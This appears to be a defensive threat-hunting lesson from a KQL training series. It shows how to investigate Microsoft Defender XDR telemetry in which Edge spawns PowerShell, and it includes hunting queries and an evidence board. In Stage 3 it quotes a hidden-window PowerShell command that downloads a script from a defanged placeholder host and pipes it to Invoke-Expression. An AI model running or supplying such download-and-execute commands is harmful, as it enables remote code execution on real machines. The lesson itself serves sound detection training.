Agent Foskett Academy • KQL Academy • Module 12 • Lesson 141 • Endpoint Investigation

Lesson 141 — The Browser Spawned PowerShell

A user is browsing the web when Microsoft Defender XDR records something that deserves attention: the browser launches PowerShell.

That relationship is the clue. In this lesson, we will not treat powershell.exe as malicious simply because it exists. We will reconstruct the process chain, inspect the command line, identify the user and device, pivot into network activity and decide whether the evidence supports normal automation or the beginning of an endpoint compromise.

Module 12 begins: stop hunting isolated processes. Follow the attack chain.
Agent Foskett KQL Academy browser spawned PowerShell endpoint investigation
Your case file

A browser launches PowerShell on a finance workstation. Seconds later, PowerShell makes an outbound connection.

✓ Establish the parent-child relationship
✓ Inspect the PowerShell command line
✓ Reconstruct surrounding processes
✓ Pivot into network evidence

Case briefing

CASE FILE Device: WS-FIN-042 User: j.smith ↓ 01:17:38 — msedge.exe active ↓ 01:17:42 — msedge.exe → powershell.exe ↓ 01:17:44 — PowerShell command executes ↓ 01:17:47 — outbound network connection ↓ YOUR TASK Determine whether this is legitimate browser-driven activity or the beginning of an endpoint attack chain.

Investigation objective

Determine why a browser spawned PowerShell, what command executed, which user and device were involved, what happened immediately before and after execution, and whether the child process communicated externally.

Investigator's rule

A process name is not a verdict. PowerShell is a legitimate administrative tool. The investigation becomes meaningful when you examine who launched it, how it was launched, what it was told to do and what happened next.

Stage 1 — find browser-to-PowerShell relationships

Begin with DeviceProcessEvents. Instead of searching for every PowerShell execution, constrain the investigation to PowerShell processes whose initiating process is a browser.

01-find-browser-powershell.kql
1234567891011121314151617
let TargetDevice = "WS-FIN-042";
DeviceProcessEvents
| where Timestamp > ago(24h)
| where DeviceName =~ TargetDevice
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where InitiatingProcessFileName in~ ("msedge.exe", "chrome.exe", "firefox.exe")
| project Timestamp,
          DeviceName,
          AccountName,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          FileName,
          ProcessCommandLine,
          SHA1,
          ProcessId,
          InitiatingProcessId
| order by Timestamp asc

Why the parent matters

powershell.exe launched from an administrator's terminal can be expected. The same process launched directly by a browser deserves a different question. Parent-child relationships give process telemetry context.

Read the command line

Do not stop at FileName. Inspect ProcessCommandLine for URLs, encoded content, download functions, hidden-window options, execution-policy changes, unusual paths or commands that create another process.

Stage 2 — reconstruct the surrounding process timeline

Once you have the suspicious timestamp, widen the window. Ten minutes either side can reveal what the browser was doing before PowerShell appeared and what PowerShell launched afterwards.

02-reconstruct-process-timeline.kql
1234567891011121314
let TargetDevice = "WS-FIN-042";
let TargetTime = datetime(2026-08-18 01:17:42);
DeviceProcessEvents
| where DeviceName =~ TargetDevice
| where Timestamp between (TargetTime - 10m .. TargetTime + 10m)
| project Timestamp,
          FileName,
          ProcessCommandLine,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          AccountName,
          ProcessId,
          InitiatingProcessId
| order by Timestamp asc

Do not read events in isolation

A process tree is a story told through relationships. Look for browser → PowerShell → script host, command shell, archive utility or another executable. Also look backwards for the browser process and its command line.

Preserve identifiers

ProcessId and InitiatingProcessId help you follow execution relationships on the device. Keep timestamps as well: process IDs can be reused, so time and device context matter.

Stage 3 — interpret the PowerShell command

Imagine the process event contains a command similar to this:

powershell.exe -NoProfile -WindowStyle Hidden -Command "iwr hxxps://cdn-update[.]example/a.ps1 -UseBasicParsing | iex"

Several features deserve investigation: hidden execution, a remote resource, iwr (Invoke-WebRequest) and content being passed to iex (Invoke-Expression). None should be judged from the keyword alone; together with an unexpected browser parent, they materially strengthen the suspicious chain.

Translate syntax into behaviour

The analyst's job is not merely to recognise suspicious strings. Explain the behaviour: the command attempts to retrieve remote content and execute it in memory while reducing user visibility.

Keep the evidence defensible

Record the original command line exactly as telemetry captured it. Your interpretation can change later; the underlying evidence should not.

Stage 4 — did PowerShell communicate externally?

Now pivot from process execution into DeviceNetworkEvents. Use the PowerShell process ID from the process evidence to look for network activity attributed to that process on the same device.

03-pivot-powershell-to-network.kql
12345678910111213141516
let TargetDevice = "WS-FIN-042";
let PowerShellPID = 6844;
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where DeviceName =~ TargetDevice
| where InitiatingProcessId == PowerShellPID
| project Timestamp,
          DeviceName,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          RemoteUrl,
          RemoteIP,
          RemotePort,
          Protocol,
          ActionType
| order by Timestamp asc

What strengthens the chain?

A network event seconds after execution, attributed to the same PowerShell process and matching infrastructure referenced by the command line, connects process evidence with network evidence.

What does it prove?

It can establish that the process made or attempted a connection recorded by Defender telemetry. It does not automatically prove that a payload executed successfully or that the destination itself was malicious.

Stage 5 — pivot from the destination across the estate

The remote destination now becomes the next investigative entity. Ask whether other devices have contacted the same infrastructure.

04-pivot-destination-across-devices.kql
1234567891011
let SuspiciousUrl = "cdn-update.example";
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has SuspiciousUrl
| summarize Connections=count(),
            FirstSeen=min(Timestamp),
            LastSeen=max(Timestamp),
            Devices=make_set(DeviceName, 50),
            Processes=make_set(InitiatingProcessFileName, 25)
          by RemoteUrl, RemoteIP
| order by Connections desc

One workstation may not be the whole incident

If several devices contact the same unusual destination through similar processes, the investigation may have moved from a single endpoint to an environment-wide hunt.

But prevalence needs context

A destination seen everywhere may belong to a legitimate CDN, software service or corporate application. Low prevalence can be interesting, but rarity is not proof of maliciousness.

Agent Foskett's endpoint timeline

01:17:38 — BROWSER msedge.exe running as j.smith ↓ 01:17:42 — CHILD PROCESS msedge.exe → powershell.exe ↓ 01:17:44 — COMMAND remote content requested for execution ↓ 01:17:47 — NETWORK PowerShell contacts external infrastructure ↓ DESTINATION PIVOT Check the same infrastructure across other devices ↓ NEXT QUESTIONS What file appeared? What executed next? Did persistence follow? Did the activity spread?
The browser was the clue. The process chain turned it into an investigation.

Your evidence board

EvidenceWhat it supportsWeight
Browser directly initiates PowerShellUnusual parent-child relationship requiring explanation.Supporting
PowerShell uses hidden executionReduced user visibility; suspicious in context.Supporting
Command retrieves remote contentEstablishes an attempt to obtain content from external infrastructure.Strong
Retrieved content is passed to an execution functionSupports attempted remote-code/script execution.Strong
Same PowerShell process produces network telemetryCorrelates execution and network behaviour.Strong
Destination appears on other endpointsMay widen scope if process and timing context also align.Supporting

Write the finding like an investigator

Example: Microsoft Defender XDR process telemetry identified Microsoft Edge spawning PowerShell on WS-FIN-042 under the j.smith account. The PowerShell command line attempted to retrieve remote script content and pass it to an execution function while using a hidden window. Network telemetry recorded outbound activity attributed to the PowerShell process shortly afterwards. Taken together, the parent-child relationship, command behaviour and network correlation are consistent with suspicious browser-initiated PowerShell execution and warrant further investigation of subsequent file, process, persistence and lateral activity.

Lesson 141 key takeaways

  • Do not classify PowerShell as malicious solely from its process name.
  • Parent-child process relationships can provide the first important clue.
  • DeviceProcessEvents lets you preserve process, command-line, account and initiating-process context.
  • Reconstruct activity around the suspicious timestamp instead of reading one event alone.
  • Translate command-line syntax into observable behaviour.
  • Use process identifiers together with device and time context when pivoting.
  • DeviceNetworkEvents can connect process execution to external communication.
  • A remote IP or URL can become the next investigative entity.
  • Prevalence is context, not proof.
  • Every conclusion should remain traceable to the underlying telemetry.

Module 12 begins — Advanced Endpoint Investigation

Lesson 141 establishes the first link in our endpoint attack chain. In the lessons ahead we will examine encoded PowerShell, abnormal process trees, files appearing before execution, process-to-network correlation, registry persistence, hash prevalence, movement between devices and finally a complete endpoint compromise timeline.

Next: Lesson 142 — The PowerShell Command Was Encoded.

Continue your KQL investigation training

Module 12 follows endpoint evidence from process execution through network activity, persistence, spread and complete attack-chain reconstruction.

Related Agent Foskett Investigations

Continue applying the investigation mindset to endpoint cases where process, command-line, network and timeline evidence must be connected.

🔎 KQL Academy — Module 12: Advanced Endpoint Investigation

Following the attack chain from the first suspicious process to a defensible endpoint compromise assessment.

Investigate a browser spawning PowerShell with KQL

Lesson 141 of the Agent Foskett KQL Academy begins Module 12 with a Microsoft Defender XDR endpoint investigation using DeviceProcessEvents and DeviceNetworkEvents to follow a suspicious browser-to-PowerShell process chain.

Microsoft Defender XDR endpoint threat hunting

Learn how to correlate initiating processes, PowerShell command lines, process identifiers, users, devices and remote infrastructure so endpoint telemetry becomes a defensible investigation story rather than a collection of isolated events.